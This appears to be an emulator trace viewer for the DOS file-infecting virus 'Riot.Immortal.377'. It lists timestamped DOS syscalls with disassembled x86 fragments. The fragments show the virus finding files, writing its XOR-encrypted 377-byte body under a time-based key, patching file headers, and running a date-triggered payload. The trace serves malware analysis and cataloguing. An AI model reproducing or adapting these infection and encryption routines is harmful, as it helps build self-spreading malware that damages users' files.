Sample viewer

vx.netlux.org/Virus.DOS.Riot.Immortal.377

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:45:11.78999869Z 26 PC: 12a9e | Set disk transfer address
2018-12-17T22:45:11.792470571Z 53 PC: 12aa4 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:45:11.793634652Z 53 PC: 12ab1 | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T22:45:11.794742894Z 44 PC: 12abc | Get time 0x12abc: cmp dl, 0xd
0x12abf: jg 0x12ac5
0x12ac1: mov al, 0x82
0x12ac3: out 0x21, al
0x12ac5: mov ah, 0x2c
0x12ac7: int 0x21
0x12ac9: cmp dl, 0x32
0x12acc: jg 0x12afb
0x12ace: mov ah, 9
0x12ad0: lea dx, word ptr [bp + 0x198]
0x12ad4: int 0x21
0x12ad6: mov ah, 0
0x12ad8: int 0x16
0x12ada: jmp 0x12afb
0x12adc: nop
0x12add: imul cx, word ptr [di + 0x4d], 0x526f
0x12ae2: push sp
0x12ae3: popaw
0x12ae4: dec sp
0x12ae5: xor si, word ptr cs:[bx]
2018-12-17T22:45:11.7969019Z 44 PC: 12ac9 | Get time 0x12ac9: cmp dl, 0x32
0x12acc: jg 0x12afb
0x12ace: mov ah, 9
0x12ad0: lea dx, word ptr [bp + 0x198]
0x12ad4: int 0x21
0x12ad6: mov ah, 0
0x12ad8: int 0x16
0x12ada: jmp 0x12afb
0x12adc: nop
0x12add: imul cx, word ptr [di + 0x4d], 0x526f
0x12ae2: push sp
0x12ae3: popaw
0x12ae4: dec sp
0x12ae5: xor si, word ptr cs:[bx]
0x12ae8: aaa
0x12ae9: and byte ptr [bp + di + 0x45], bh
0x12aec: outsb dx, byte ptr [si]
0x12aed: arpl word ptr [bp + si + 0x79], si
0x12af0: jo 0x12b66
0x12af2: and word ptr fs:[bx + di], sp
2018-12-17T22:45:11.799333859Z 78 PC: 12b14 | Find first file
2018-12-17T22:45:11.805153791Z 61 PC: 12b24 | Open file (Filename = '')
2018-12-17T22:45:11.811575305Z 63 PC: 12b32 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:11.818072445Z 66 PC: 12b41 | Move file pointer
2018-12-17T22:45:11.819513474Z 44 PC: 12a61 | Get time 0x12a61: cmp dl, 0
0x12a64: je 0x12a5d
0x12a66: mov byte ptr [bp + 0x140], dl
0x12a6a: call 0x12a7c
0x12a6d: mov ah, 0x40
0x12a6f: mov cx, 0x179
0x12a72: lea dx, word ptr [bp + 0x100]
0x12a76: int 0x21
0x12a78: call 0x12a7c
0x12a7b: ret
0x12a7c: mov cx, 0x133
0x12a7f: lea si, word ptr [bp + 0x146]
0x12a83: xor byte ptr [si], 0
0x12a86: inc si
0x12a87: dec cx
0x12a88: jne 0x12a83
0x12a8a: ret
0x12a8b: lea si, word ptr [bp + 0x275]
0x12a8f: mov di, 0x100
0x12a92: movsw word ptr es:[di], word ptr [si]
2018-12-17T22:45:11.822557494Z 64 PC: 12a78 | Write file or device (Write 377 bytes on handle 5)
2018-12-17T22:45:11.836524875Z 66 PC: 12b53 | Move file pointer
2018-12-17T22:45:11.837964006Z 64 PC: 12b5e | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:45:11.844691479Z 62 PC: 12b67 | Close file
2018-12-17T22:45:11.854202791Z 79 PC: 12b14 | Find next file
2018-12-17T22:45:11.856816255Z 61 PC: 12b24 | Open file (Filename = '')
2018-12-17T22:45:11.863928823Z 63 PC: 12b32 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:11.87753568Z 66 PC: 12b41 | Move file pointer
2018-12-17T22:45:11.878943412Z 44 PC: 12a61 | Get time 0x12a61: cmp dl, 0
0x12a64: je 0x12a5d
0x12a66: mov byte ptr [bp + 0x140], dl
0x12a6a: call 0x12a7c
0x12a6d: mov ah, 0x40
0x12a6f: mov cx, 0x179
0x12a72: lea dx, word ptr [bp + 0x100]
0x12a76: int 0x21
0x12a78: call 0x12a7c
0x12a7b: ret
0x12a7c: mov cx, 0x133
0x12a7f: lea si, word ptr [bp + 0x146]
0x12a83: xor byte ptr [si], 0x40
0x12a86: inc si
0x12a87: dec cx
0x12a88: jne 0x12a83
0x12a8a: ret
0x12a8b: lea si, word ptr [bp + 0x275]
0x12a8f: mov di, 0x100
0x12a92: movsw word ptr es:[di], word ptr [si]
2018-12-17T22:45:11.881158644Z 64 PC: 12a78 | Write file or device (Write 377 bytes on handle 5)
2018-12-17T22:45:11.884908249Z 66 PC: 12b53 | Move file pointer
2018-12-17T22:45:11.886347358Z 64 PC: 12b5e | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:45:11.888804573Z 62 PC: 12b67 | Close file
2018-12-17T22:45:11.89783473Z 79 PC: 12b14 | Find next file
2018-12-17T22:45:11.900928114Z 61 PC: 12b24 | Open file (Filename = '')
2018-12-17T22:45:11.908098718Z 63 PC: 12b32 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:11.916429073Z 66 PC: 12b41 | Move file pointer
2018-12-17T22:45:11.918290946Z 44 PC: 12a61 | Get time 0x12a61: cmp dl, 0
0x12a64: je 0x12a5d
0x12a66: mov byte ptr [bp + 0x140], dl
0x12a6a: call 0x12a7c
0x12a6d: mov ah, 0x40
0x12a6f: mov cx, 0x179
0x12a72: lea dx, word ptr [bp + 0x100]
0x12a76: int 0x21
0x12a78: call 0x12a7c
0x12a7b: ret
0x12a7c: mov cx, 0x133
0x12a7f: lea si, word ptr [bp + 0x146]
0x12a83: xor byte ptr [si], 0x40
0x12a86: inc si
0x12a87: dec cx
0x12a88: jne 0x12a83
0x12a8a: ret
0x12a8b: lea si, word ptr [bp + 0x275]
0x12a8f: mov di, 0x100
0x12a92: movsw word ptr es:[di], word ptr [si]
2018-12-17T22:45:11.920940283Z 64 PC: 12a78 | Write file or device (Write 377 bytes on handle 5)
2018-12-17T22:45:11.924096464Z 66 PC: 12b53 | Move file pointer
2018-12-17T22:45:11.927141693Z 64 PC: 12b5e | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:45:11.930250562Z 62 PC: 12b67 | Close file
2018-12-17T22:45:11.939795513Z 79 PC: 12b14 | Find next file
2018-12-17T22:45:11.943165059Z 61 PC: 12b24 | Open file (Filename = '')
2018-12-17T22:45:11.950149424Z 63 PC: 12b32 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:11.960542324Z 66 PC: 12b41 | Move file pointer
2018-12-17T22:45:11.965298703Z 44 PC: 12a61 | Get time 0x12a61: cmp dl, 0
0x12a64: je 0x12a5d
0x12a66: mov byte ptr [bp + 0x140], dl
0x12a6a: call 0x12a7c
0x12a6d: mov ah, 0x40
0x12a6f: mov cx, 0x179
0x12a72: lea dx, word ptr [bp + 0x100]
0x12a76: int 0x21
0x12a78: call 0x12a7c
0x12a7b: ret
0x12a7c: mov cx, 0x133
0x12a7f: lea si, word ptr [bp + 0x146]
0x12a83: xor byte ptr [si], 0x46
0x12a86: inc si
0x12a87: dec cx
0x12a88: jne 0x12a83
0x12a8a: ret
0x12a8b: lea si, word ptr [bp + 0x275]
0x12a8f: mov di, 0x100
0x12a92: movsw word ptr es:[di], word ptr [si]
2018-12-17T22:45:11.970156722Z 64 PC: 12a78 | Write file or device (Write 377 bytes on handle 5)
2018-12-17T22:45:11.972787801Z 66 PC: 12b53 | Move file pointer
2018-12-17T22:45:11.974941874Z 64 PC: 12b5e | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:45:11.977450025Z 62 PC: 12b67 | Close file
2018-12-17T22:45:12.04143227Z 79 PC: 12b14 | Find next file
2018-12-17T22:45:12.044458237Z 61 PC: 12b24 | Open file (Filename = '')
2018-12-17T22:45:12.049508937Z 63 PC: 12b32 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:45:12.053621859Z 66 PC: 12b41 | Move file pointer
2018-12-17T22:45:12.054720329Z 44 PC: 12a61 | Get time 0x12a61: cmp dl, 0
0x12a64: je 0x12a5d
0x12a66: mov byte ptr [bp + 0x140], dl
0x12a6a: call 0x12a7c
0x12a6d: mov ah, 0x40
0x12a6f: mov cx, 0x179
0x12a72: lea dx, word ptr [bp + 0x100]
0x12a76: int 0x21
0x12a78: call 0x12a7c
0x12a7b: ret
0x12a7c: mov cx, 0x133
0x12a7f: lea si, word ptr [bp + 0x146]
0x12a83: xor byte ptr [si], 0x4b
0x12a86: inc si
0x12a87: dec cx
0x12a88: jne 0x12a83
0x12a8a: ret
0x12a8b: lea si, word ptr [bp + 0x275]
0x12a8f: mov di, 0x100
0x12a92: movsw word ptr es:[di], word ptr [si]
2018-12-17T22:45:12.056748452Z 64 PC: 12a78 | Write file or device (Write 377 bytes on handle 5)
2018-12-17T22:45:12.059008893Z 66 PC: 12b53 | Move file pointer
2018-12-17T22:45:12.060369193Z 64 PC: 12b5e | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:45:12.062840957Z 62 PC: 12b67 | Close file
2018-12-17T22:45:12.157347612Z 42 PC: 12b7c | Get date 0x12b7c: cmp dh, 0x11
0x12b7f: jl 0x12ba0
0x12b81: cmp dl, 8
0x12b84: jl 0x12ba0
0x12b86: mov ah, 0x19
0x12b88: int 0x21
0x12b8a: mov cx, 0x25
0x12b8d: mov dx, 0
0x12b90: lea bx, word ptr [bp + 0x198]
0x12b94: push ds
0x12b95: pop es
0x12b96: mov byte ptr [bp + 0x257], 0x26
0x12b9b: int 0x19
0x12b9d: add sp, 2
0x12ba0: mov ah, 0x1a
0x12ba2: mov dx, 0x80
0x12ba5: int 0x21
0x12ba7: mov di, 0x100
0x12baa: push di
0x12bab: ret
2018-12-17T22:45:12.159955307Z 26 PC: 12ba7 | Set disk transfer address